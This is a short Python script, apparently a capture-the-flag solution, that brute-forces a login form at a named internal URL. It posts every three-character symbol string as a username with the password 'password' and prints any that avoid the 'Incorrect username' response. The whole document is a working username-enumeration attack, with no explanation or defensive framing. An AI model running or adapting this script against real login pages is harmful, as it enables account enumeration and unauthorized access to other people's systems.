import requests import time from brute import brute API_ENDPOINT = "http://pldevcoreos.ux.dsone.3ds.com/ctf/hacker/index" # data to be sent to api # sending post request and saving response as response object # extracting response text #print(r) for s in brute(length=3, letters=False, numbers=False, symbols=True): data = {'username': s, 'password': "password" } r = requests.post(url = API_ENDPOINT, data = data) pastebin_url = r.text #print('------------------------') #print("

Incorrect username

" in pastebin_url) time.sleep(0.001) if "

Incorrect username

" in pastebin_url: q = 0; #print("

Incorrect username

" in pastebin_url) else: print(s)